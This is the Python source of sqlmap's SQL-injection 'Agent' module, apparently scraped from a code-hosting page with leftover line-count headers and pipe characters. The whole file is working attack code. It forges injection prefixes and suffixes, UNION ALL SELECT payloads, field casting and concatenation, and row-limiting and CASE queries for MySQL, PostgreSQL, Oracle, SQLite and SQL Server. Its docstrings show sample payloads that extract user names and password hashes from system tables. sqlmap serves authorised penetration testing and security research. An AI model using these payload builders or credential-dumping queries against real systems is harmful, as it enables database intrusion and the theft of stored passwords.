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595 lines
25 KiB
Python
595 lines
25 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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import re
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from lib.core.common import randomInt
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from lib.core.common import randomStr
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from lib.core.convert import urlencode
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import queries
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from lib.core.data import temp
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from lib.core.exception import sqlmapNoneDataException
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class Agent:
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"""
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This class defines the SQL agent methods.
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"""
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def __init__(self):
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temp.delimiter = randomStr(6)
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temp.start = randomStr(6)
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temp.stop = randomStr(6)
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def payloadDirect(self, query):
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if query.startswith(" AND "):
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query = query.replace(" AND ", "SELECT ", 1)
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elif query.startswith(" UNION ALL "):
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query = query.replace(" UNION ALL ", "", 1)
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elif query.startswith("; "):
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query = query.replace("; ", "", 1)
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return query
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def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
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"""
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This method replaces the affected parameter with the SQL
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injection statement to request
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"""
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if conf.direct:
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return self.payloadDirect(newValue)
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falseValue = ""
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negValue = ""
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retValue = ""
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newValue = urlencode(newValue)
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if negative or kb.unionNegative:
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negValue = "-"
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elif falseCond or kb.unionFalseCond:
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randInt = randomInt()
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falseValue = urlencode(" AND %d=%d" % (randInt, randInt + 1))
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# After identifing the injectable parameter
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if kb.injPlace == "User-Agent":
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retValue = kb.injParameter.replace(kb.injParameter,
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"%s%s" % (negValue, kb.injParameter + falseValue + newValue))
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elif kb.injParameter:
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paramString = conf.parameters[kb.injPlace]
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paramDict = conf.paramDict[kb.injPlace]
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value = paramDict[kb.injParameter]
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retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
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"%s=%s%s" % (kb.injParameter, negValue, value + falseValue + newValue))
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# Before identifing the injectable parameter
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elif parameter == "User-Agent":
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retValue = value.replace(value, newValue)
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else:
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paramString = conf.parameters[place]
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retValue = paramString.replace("%s=%s" % (parameter, value),
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"%s=%s" % (parameter, newValue))
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return retValue
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def fullPayload(self, query):
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if conf.direct:
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return self.payloadDirect(query)
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query = self.prefixQuery(query)
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query = self.postfixQuery(query)
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payload = self.payload(newValue=query)
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return payload
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def prefixQuery(self, string):
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"""
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This method defines how the input string has to be escaped
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to perform the injection depending on the injection type
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identified as valid
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"""
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if conf.direct:
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return self.payloadDirect(string)
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query = ""
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if conf.prefix:
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query = conf.prefix
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else:
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if kb.injType == "numeric" or conf.postfix:
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pass
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elif kb.injType in ( "stringsingle", "likesingle" ):
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query = "'"
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elif kb.injType in ( "stringdouble", "likedouble" ):
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query = "\""
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else:
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raise sqlmapNoneDataException, "unsupported injection type"
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if kb.parenthesis not in ( None, 0 ):
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query += "%s " % (")" * kb.parenthesis)
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query += string
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return query
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def postfixQuery(self, string, comment=None):
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"""
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This method appends the DBMS comment to the
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SQL injection request
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"""
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if conf.direct:
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return self.payloadDirect(string)
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randInt = randomInt()
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randStr = randomStr()
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if comment:
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string += comment
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if conf.postfix:
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string += " %s" % conf.postfix
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else:
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if kb.parenthesis is not None:
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string += " AND %s" % ("(" * kb.parenthesis)
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else:
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raise sqlmapNoneDataException, "unable to get the number of parenthesis"
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if kb.injType == "numeric":
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string += "%d=%d" % (randInt, randInt)
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elif kb.injType == "stringsingle":
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string += "'%s'='%s" % (randStr, randStr)
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elif kb.injType == "likesingle":
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string += "'%s' LIKE '%s" % (randStr, randStr)
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elif kb.injType == "stringdouble":
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string += "\"%s\"=\"%s" % (randStr, randStr)
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elif kb.injType == "likedouble":
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string += "\"%s\" LIKE \"%s" % (randStr, randStr)
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else:
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raise sqlmapNoneDataException, "unsupported injection type"
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return string
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def nullAndCastField(self, field):
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"""
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Take in input a field string and return its processed nulled and
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casted field string.
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Examples:
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MySQL input: VERSION()
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MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
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MySQL scope: VERSION()
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PostgreSQL input: VERSION()
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PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
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PostgreSQL scope: VERSION()
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Oracle input: banner
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Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
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Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
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Microsoft SQL Server input: @@VERSION
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Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
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Microsoft SQL Server scope: @@VERSION
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@param field: field string to be processed
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@type field: C{str}
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@return: field string nulled and casted
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@rtype: C{str}
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"""
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# SQLite version 2 does not support neither CAST() nor IFNULL(),
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# introduced only in SQLite version 3
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if kb.dbms == "SQLite":
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return field
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if field.startswith("(CASE"):
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nulledCastedField = field
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else:
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nulledCastedField = queries[kb.dbms].cast % field
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nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
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return nulledCastedField
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def nullCastConcatFields(self, fields):
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"""
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Take in input a sequence of fields string and return its processed
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nulled, casted and concatenated fields string.
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Examples:
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MySQL input: user,password
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MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
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MySQL scope: SELECT user, password FROM mysql.user
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PostgreSQL input: usename,passwd
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PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
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PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
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Oracle input: COLUMN_NAME,DATA_TYPE
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Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
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Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
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Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
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Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
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Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
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@param fields: fields string to be processed
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@type fields: C{str}
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@return: fields string nulled, casted and concatened
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@rtype: C{str}
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"""
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if not kb.dbmsDetected:
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return fields
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fields = fields.replace(", ", ",")
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fieldsSplitted = fields.split(",")
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dbmsDelimiter = queries[kb.dbms].delimiter
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nulledCastedFields = []
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for field in fieldsSplitted:
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nulledCastedFields.append(self.nullAndCastField(field))
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delimiterStr = "%s'%s'%s" % (dbmsDelimiter, temp.delimiter, dbmsDelimiter)
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nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields])
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return nulledCastedConcatFields
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def getFields(self, query):
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"""
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Take in input a query string and return its fields (columns) and
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more details.
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Example:
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Input: SELECT user, password FROM mysql.user
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Output: user,password
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@param query: query to be processed
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@type query: C{str}
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@return: query fields (columns) and more details
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@rtype: C{str}
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"""
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prefixRegex = "(?:\s+(?:FIRST|SKIP)\s+\d+)*"
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fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
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fieldsSelectDistinct = re.search("\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
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fieldsSelectCase = re.search("\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
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fieldsSelectFrom = re.search("\ASELECT%s\s+(.+?)\s+FROM\s+" % prefixRegex, query, re.I)
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fieldsSelect = re.search("\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
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fieldsNoSelect = query
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if fieldsSelectTop:
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fieldsToCastStr = fieldsSelectTop.groups()[0]
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elif fieldsSelectDistinct:
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fieldsToCastStr = fieldsSelectDistinct.groups()[0]
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elif fieldsSelectCase:
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fieldsToCastStr = fieldsSelectCase.groups()[0]
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elif fieldsSelectFrom:
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fieldsToCastStr = fieldsSelectFrom.groups()[0]
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elif fieldsSelect:
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fieldsToCastStr = fieldsSelect.groups()[0]
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elif fieldsNoSelect:
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fieldsToCastStr = fieldsNoSelect
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if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I): #function
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fieldsToCastList = [fieldsToCastStr]
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else:
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fieldsToCastList = fieldsToCastStr.replace(", ", ",")
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fieldsToCastList = fieldsToCastList.split(",")
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return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
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def simpleConcatQuery(self, query1, query2):
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concatenatedQuery = ""
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if kb.dbms == "MySQL":
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concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
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elif kb.dbms in ( "PostgreSQL", "Oracle", "SQLite" ):
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concatenatedQuery = "%s||%s" % (query1, query2)
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elif kb.dbms == "Microsoft SQL Server":
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concatenatedQuery = "%s+%s" % (query1, query2)
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return concatenatedQuery
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def concatQuery(self, query, unpack=True):
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"""
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Take in input a query string and return its processed nulled,
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casted and concatenated query string.
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Examples:
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MySQL input: SELECT user, password FROM mysql.user
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MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
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PostgreSQL input: SELECT usename, passwd FROM pg_shadow
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PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
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Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
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Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
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Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
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Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
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@param query: query string to be processed
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@type query: C{str}
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@return: query string nulled, casted and concatenated
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@rtype: C{str}
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"""
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if unpack:
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concatenatedQuery = ""
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query = query.replace(", ", ",")
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fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
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castedFields = self.nullCastConcatFields(fieldsToCastStr)
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concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
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else:
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concatenatedQuery = query
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fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
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if kb.dbms == "MySQL":
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if fieldsSelectCase:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
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concatenatedQuery += ",'%s')" % temp.stop
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elif fieldsSelectFrom:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
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concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
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elif fieldsSelect:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
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concatenatedQuery += ",'%s')" % temp.stop
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elif fieldsNoSelect:
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concatenatedQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatenatedQuery, temp.stop)
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elif kb.dbms in ( "PostgreSQL", "Oracle", "SQLite" ):
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if fieldsSelectCase:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
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concatenatedQuery += "||'%s'" % temp.stop
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elif fieldsSelectFrom:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
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concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
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elif fieldsSelect:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
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concatenatedQuery += "||'%s'" % temp.stop
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elif fieldsNoSelect:
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concatenatedQuery = "'%s'||%s||'%s'" % (temp.start, concatenatedQuery, temp.stop)
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if kb.dbms == "Oracle" and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
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concatenatedQuery += " FROM DUAL"
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elif kb.dbms == "Microsoft SQL Server":
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if fieldsSelectTop:
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topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
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concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
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concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
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elif fieldsSelectCase:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
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concatenatedQuery += "+'%s'" % temp.stop
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elif fieldsSelectFrom:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
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concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
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elif fieldsSelect:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
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concatenatedQuery += "+'%s'" % temp.stop
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elif fieldsNoSelect:
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concatenatedQuery = "'%s'+%s+'%s'" % (temp.start, concatenatedQuery, temp.stop)
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return concatenatedQuery
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def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
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"""
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Take in input an query (pseudo query) string and return its
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processed UNION ALL SELECT query.
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Examples:
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MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
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MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
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PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
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PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
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Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
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Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
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|
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Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
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Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
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|
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@param query: it is a processed query string unescaped to be
|
|
forged within an UNION ALL SELECT statement
|
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@type query: C{str}
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|
|
@param exprPosition: it is the NULL position where it is possible
|
|
to inject the query
|
|
@type exprPosition: C{int}
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|
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@return: UNION ALL SELECT query string forged
|
|
@rtype: C{str}
|
|
"""
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|
|
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
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|
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if query.startswith("TOP"):
|
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topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
|
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query = query[len("TOP %s " % topNum):]
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inbandQuery += "TOP %s " % topNum
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|
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if not exprPosition:
|
|
exprPosition = kb.unionPosition
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|
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intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
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|
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if intoRegExp:
|
|
intoRegExp = intoRegExp.group(1)
|
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query = query[:query.index(intoRegExp)]
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|
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if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
|
|
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
|
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|
|
for element in range(kb.unionCount):
|
|
if element > 0:
|
|
inbandQuery += ", "
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|
|
if element == exprPosition:
|
|
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
|
|
conditionIndex = query.index(" FROM ")
|
|
inbandQuery += query[:conditionIndex]
|
|
else:
|
|
inbandQuery += query
|
|
else:
|
|
inbandQuery += nullChar
|
|
|
|
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
|
|
conditionIndex = query.index(" FROM ")
|
|
inbandQuery += query[conditionIndex:]
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|
|
|
if kb.dbms == "Oracle":
|
|
if " FROM " not in inbandQuery:
|
|
inbandQuery += " FROM DUAL"
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|
|
|
if intoRegExp:
|
|
inbandQuery += intoRegExp
|
|
|
|
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
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|
|
|
return inbandQuery
|
|
|
|
def limitQuery(self, num, query, field=None):
|
|
"""
|
|
Take in input a query string and return its limited query string.
|
|
|
|
Example:
|
|
|
|
Input: SELECT user FROM mysql.users
|
|
Output: SELECT user FROM mysql.users LIMIT <num>, 1
|
|
|
|
@param num: limit number
|
|
@type num: C{int}
|
|
|
|
@param query: query to be processed
|
|
@type query: C{str}
|
|
|
|
@param field: field within the query
|
|
@type field: C{list}
|
|
|
|
@return: limited query string
|
|
@rtype: C{str}
|
|
"""
|
|
|
|
limitedQuery = query
|
|
limitStr = queries[kb.dbms].limit
|
|
fromIndex = limitedQuery.index(" FROM ")
|
|
untilFrom = limitedQuery[:fromIndex]
|
|
fromFrom = limitedQuery[fromIndex+1:]
|
|
|
|
if kb.dbms in ( "MySQL", "PostgreSQL", "SQLite" ):
|
|
limitStr = queries[kb.dbms].limit % (num, 1)
|
|
limitedQuery += " %s" % limitStr
|
|
|
|
elif kb.dbms == "Firebird":
|
|
limitStr = queries[kb.dbms].limit % (num+1, num+1)
|
|
limitedQuery += " %s" % limitStr
|
|
|
|
elif kb.dbms == "Oracle":
|
|
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
|
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
|
|
|
if query.startswith("SELECT "):
|
|
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
|
else:
|
|
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
|
|
limitedQuery = limitedQuery % fromFrom
|
|
limitedQuery += "=%d" % (num + 1)
|
|
|
|
elif kb.dbms == "Microsoft SQL Server":
|
|
forgeNotIn = True
|
|
|
|
if " ORDER BY " in limitedQuery:
|
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
|
|
|
notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
|
|
|
|
for notDistinct in notDistincts:
|
|
limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
|
|
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
|
|
|
|
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
|
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
|
|
|
|
if topNums:
|
|
topNums = topNums.groups()
|
|
quantityTopNums = topNums[0]
|
|
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
|
|
startTopNums = topNums[1]
|
|
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
|
|
forgeNotIn = False
|
|
else:
|
|
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
|
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
|
|
|
if forgeNotIn:
|
|
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
|
|
|
if " WHERE " in limitedQuery:
|
|
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
|
else:
|
|
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
|
|
|
|
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
|
limitedQuery += "%s %s)" % (field, fromFrom)
|
|
|
|
return limitedQuery
|
|
|
|
def forgeCaseStatement(self, expression):
|
|
"""
|
|
Take in input a query string and return its CASE statement query
|
|
string.
|
|
|
|
Example:
|
|
|
|
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
|
|
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
|
|
|
|
@param expression: expression to be processed
|
|
@type num: C{str}
|
|
|
|
@return: processed expression
|
|
@rtype: C{str}
|
|
"""
|
|
|
|
return queries[kb.dbms].case % expression
|
|
|
|
# SQL agent
|
|
agent = Agent()
|